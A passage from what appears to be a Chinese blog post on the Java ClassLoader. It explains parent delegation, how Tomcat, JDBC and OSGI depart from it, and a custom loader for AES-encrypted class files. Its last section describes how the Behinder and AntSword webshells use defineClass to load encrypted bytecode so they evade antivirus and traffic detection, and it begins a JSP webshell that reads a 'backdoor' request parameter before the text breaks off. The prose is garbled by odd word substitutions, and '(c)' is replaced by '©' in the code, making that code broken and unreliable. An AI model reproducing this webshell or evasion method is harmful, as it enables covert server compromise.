0x03 双亲委派机制
双亲委派机制是Java类加载的核心，该机制一定水平的包管了类加载的安全性。简单来讲这个机制就是“当有载入类的需求时，类加载器会先请示父加载器帮忙载入，假如没有父加载器那么就使用BootStrapClassLoader举行加载，假如所有的父加载器都找不到对应的类，那么才由自己依照自己的搜索路径搜索类，假如照旧搜索不到，则抛出ClassNotFoundException
0x1 双亲委派结构
在Java JDK中的类加载器结构如下图所示，BootstrapClassLoader为根加载器、ExtClassLoader为扩展类加载器、AppClassLoader为应用类加载器。其结构如下所示，需要留意的是他们这几个类之间的关系为依赖关系，并不是继承关系。
此中User1ClassLoader可以为应用自己计划的类加载器，并设置AppClassLoader为父加载器，这样就可以使用双亲委派机制。
0x2 代码实现
那么关于双亲委派机制代码上的实现也很简单，根据功能描述写对应的if else分支即可。一样平常在ClassLoader子类中
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) { //判定是否已经加载该类
long t0 = System.nanoTime();
try {
if (parent != null) {//假如有父类，尝试让父类去加载
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);//假如没有父类，尝试使用根装载器加载
}
} catch (ClassNotFoundException e) { }
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);//这块需要自界说，好比自己写的类装载器就可以在这里实现类装载功能
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass©;//链接已经装载的类
}
return c;
}
}
0x04 自界说类加载器
同一个类代码假如被不同的类加载器加载，那么在当前JVM中他们是两个不同的类。
0x1 遵循双亲委派机制
1.继承java.lang.ClassLoader
2.重写父类的findClass方法
loadClass方法已经实现了双亲委派功能，假如我们再去覆盖loadClass函数就会粉碎双亲委派机制。并且JDK已经在loadClass方法中帮我们实现了ClassLoader搜索类的算法，当在loadClass方法中搜索不到类时，loadClass方法就会调用findClass方法来搜索类，所以我们只需重写该方法即可。
0x2 粉碎双亲委派机制
双亲委派机制重要依赖于ClassLoader类中的loadclass函数实现逻辑，假如直接在子类中重写loadClass方法，就可以粉碎双亲委派机制。现在存在的一些组件，其类加载机制不符合双亲委派也很正常。那么可能有小搭档就很含糊了，到底是要遵守照旧要粉碎呢？应该根据需求，特殊环境特殊对待，大佬们也总结过几种应用场景，梳理如下
1. Tomcat类加载机制
首先说明双亲委派机制的缺点是，当加载同个jar包不同版本库的时间，该机制无法自动选择需要版本库的jar包。特殊是当Tomcat等web容器承载了多个业务之后，不能有效的加载不同版本库。为了解决这个题目，Tomcat放弃了双亲委派模子。
当时分析Shiro反序列化的时间，遇到了Tomcat的类加载器重写了loadClass函数，从而没有严格按照双亲委派机制举行类加载，这样才气实现加载多个相同类，相当于提供了一套隔离机制，为每个web容器提供一个单独的WebAppClassLoader加载器。
Tomcat加载机制简单讲，WebAppClassLoader负责加载本身的目录下的class文件，加载不到时再交给CommonClassLoader加载，这和双亲委派刚好相反。
2. OSGI模块化加载机制
不再是双亲委派的树桩结构，而是网状结构，没有固定的委派模子，只有具体使用某个package大概class时，根据package的导入导出的界说来构造bundle之间的委派和依赖。这块内容也计划单独写，vCenter部署及类加机制很大水平上依赖该技能，这里先挖个坑。
3. JDBC类加载机制
这里双亲委派的缺点是父加载器无法使用子加载器加载需要的类，这个使用场景就在JDBC中出现了。
以往JDBC的核心类在rt.jar中，由根加载器加载，然而现在核心类在不同厂商实现的jar包中，根据类加载机制，假如A类调用B类，则B类由A类的加载器加载，这也就意味着根加载器要加载jar包下的类，很显然这一操纵违背了双亲委派机制。
为了让父加载器调用子加载器加载需要的类，JDBC使用了Thread.currentThread().getContextClassLoader()得到线程上下文加载器来加载Driver实现类。
0x3 加载加密字节码
为了更深入的了解ClassLoader的工作流程，计划自己写一个加载Class密文件。首先编写加解密函数，将编译好的class文件通过encryptfile函数加密。
package myclassloadertest;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
public class FileUtils {
private static final int ZERO = 0;
private static final int ONE = 1;
private static String derectory ;
private static String key = “aaaabbbbccccdddd”;
private static String ivParameter = “AAAABBBBCCCCDDDD”;
public FileUtils (String path){
derectory = path;
}
public static byte[] doFile(int code, File file, String key, String ivParameterm, String filename) throws Exception {
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(
file));
byte[] bytIn = new byte[(int) file.length()];
bis.read(bytIn);
bis.close();
byte[] raw = key.getBytes(“ASCII”);
SecretKeySpec skeySpec = new SecretKeySpec(raw, “AES”);
Cipher cipher = Cipher.getInstance(“AES/CBC/PKCS5Padding”);
IvParameterSpec iv = new IvParameterSpec(ivParameterm.getBytes());
if (0 == code) {
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
} else if (1 == code) {
cipher.init(Cipher.DECRYPT_MODE, skeySpec, iv);
}
byte[] bytOut = cipher.doFinal(bytIn);
File outfile = new File(derectory + “/” + filename);
BufferedOutputStream bos = new BufferedOutputStream(
new FileOutputStream(outfile));
bos.write(bytOut);
bos.close();
return bytOut;
}
public static void encryptfile(File file, String key, String ivParameter, String filename) throws Exception {
doFile(ZERO, file, key, ivParameter, filename);
}
public static byte[] decryptfile(File file, String key, String ivParameter, String filename) throws Exception {
return doFile(ONE, file, key, ivParameter, filename);
}
public static byte[] loadfile(String name) throws Exception {
File file = new File(derectory + name.replace(‘.’, ‘/’) + “.class”);
return decryptfile(file, key, ivParameter, “decrypt_tmp_file”);
}
public static void main(String[] args) {
try {
File file = new File(derectory + “myclassloadertest/Test.class”);
String fileName = “myclassloadertest/TestCrypt.class”;
encryptfile(file, key, ivParameter, fileName);
} catch (Exception e) {
e.printStackTrace();
}
}
}
自己编写的classloader只需要使用此中loadfile函数就可以找到文件并自动解密。自界说ClassLoader代码如下
package myclassloadertest;
public class MyClassLoader extends ClassLoader{
private FileUtils fu;
public static void main(String[] args) throws ClassNotFoundException {
ClassLoader classloader=new MyClassLoader(“mypath”);
Class<?> classx = classloader.loadClass(“myclassloadertest.Test”);
System.out.println(classx);
}
public MyClassLoader(String path){
fu = new FileUtils(path);
}
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> c = findLoadedClass(name);
if (c != null) {
return c;
} else {
ClassLoader parent = this.getParent();//获取父装载器
if (parent != null){
try {
c = parent.loadClass(name);//实现双亲委派机制
}catch (ClassNotFoundException x){}
}
if(c == null){
try {
byte[] classData = fu.loadfile(name);//获取字节码
c = defineClass(name,classData,0,classData.length);//加载类
return c;
} catch (Exception e) {
e.printStackTrace();
}
}
}
return c;
}
}
在实验的过程中要将原来的Test.java删除，这样JDK AppClassLoader就找不到Test类，从而使用FileUtils加载密文件。自界说的ClassLoader也有parent节点，这是因为在初始化加载器的时间会调用父类ClassLoader中的构造方法，该方法中包罗着parent属性赋值等操纵，如下图所示
那么界说过自己的类加载器后，加载器之间的关系如下所示，MyClassLoader指定了自己的父加载器为当前类的加载器。
0x05 类加载器在冰蝎、 蚁剑木马中的应用
在网络安全领域中类加载器也发挥着重要的作用，ClassLoader加载字节码的功能可以有效的绕过静态查杀和流量查杀。
由于一句话木马的历史久长，对一句话木马的防护也多种多样。市面上也出现了很多安全防护机制，一类基于文件特性码检测；另外一类基于网络流量特性检测。
假如单纯的依靠一句话木马举行控守和命令执行，流量特性较为单一，比力轻易识别。流量加密固然能够绕过网络流量监测，但是木马目标上落地后因其代码特性很轻易被查杀软件杀掉。
因此可以使用ClassLoader的动态加载字节码的功能，让无害功能落地，动态的加载来自网络中的加密字节码。既能绕过流量监测，也能绕过杀软查杀。此中用到的类加载器功能较为简单，只需调用defineClass加载解析字节码即可。
<%@ page import=“sun.misc.BASE64Decoder” %>
<%!
class U extends ClassLoader{
U(ClassLoader c){
super©;
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
%>
<%
String cls=request.getParameter(“backdoor”);
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